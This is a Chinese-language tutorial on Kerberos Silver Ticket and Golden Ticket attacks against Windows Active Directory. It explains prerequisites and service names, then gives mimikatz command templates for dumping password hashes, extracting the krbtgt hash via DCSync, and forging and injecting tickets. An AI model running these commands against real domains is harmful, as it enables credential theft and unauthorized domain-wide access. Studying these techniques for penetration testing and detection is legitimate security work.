白银票据(Silver Tickets)
概述
Silver Tickets(银票)就是伪造的ST(Service Ticket),不需要与域控打交道。白银票据使用要访问服务的hash,而不是krbtgt的hash。需要注意的一点是,伪造的白银票据没有带有有KDC签名的PAC,如果目标主机配置为验证KDCPAC签名,则白银票据将不起作用。
注:白银票据只能访问指定的服务。
白银票据的特点
1、白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务都对服务主体名称的服务账户进行加密和签名
2、白银票据仅限于特定服务器上的任何服务
3、大多数服务不验证PAC(通过将PAC校验和 发送到域控制器进行PAC验证),因此使用服务账户密码哈希生成的有效TGS可以完全伪造PAC
4、需要目标服务的NTLM Hash
5、因为没有和DC交互,任何事件日志都在目标服务器上
白银票据利用条件及常见服务器列表
1、利用条件
- 域名称
- 域的SID值
- 域中的Server服务器账户的NTLM-Hash
- 伪造的用户名,可以是任意用户名
- 目标服务器上面的Kerberos服务
2、服务列表
服务名称 | 同时需要的服务 |
WMI | HOST、RPCSS |
PowerShell Remoting | HOST、HTTP |
WinRM | HOST、HTTP |
Scheduled Tasks | HOST |
Windows File Share | CIFS |
LDAP | LDAP |
Windows Remote Server | RPCSS、LDAP、CIFS |
白银票据利用过程
1、获取提供服务的的账号hash
sekurlsa::logonpasswords #获取密码hash
privilege::debug #提升权限,避免获取失败
2、生成服务票据
注:targer目标服务器部分必须带上域名,不能纯粹是用户名,比如 servername.domain.com
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt
黄金票据(Golden Ticket)
概述
Golden Ticket(金票)是通过伪造TGT(TickerGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。对于攻击者来说,只要拿到了域控权限,就可以直接导出krbtgt的Hash值,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。
黄金票据的 特点
- 与域控制器没有AS-REQ或AS-REP通信
- 需要krbtgt用户的hash(KDC Hash)
- 由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据
黄金票据利用条件
- 域名称
- 域的SID值
- 域的krbtgt账户NTLM密码hash
- 伪造用户名
黄金票据利用过程
1、使用mimikatz获得krbtgt用户名秘密hash,至少需要本地管理员(500)级别的权限
lsadump::dcsync /domain:域名 /user:krbtgt #单域环境下,可以不指定domain选项
2、获取域ID
whoami /all
3、生成TGT票据
注:用户名部分说是随意,但是我只用指定为administartor才有效
kerberos::golden /admin:用户名 /domain:域名 /sid:域id /krbtgt:krbtgt用户ntlmhash值 /ticket:文件名.kiribi #后面ticket:文件名.kiribi 可以直接用/ptt替换
kerberos::purge #清空票据
kerberos::ptt 文件名.kiribi
kerberos::list #查看全部票据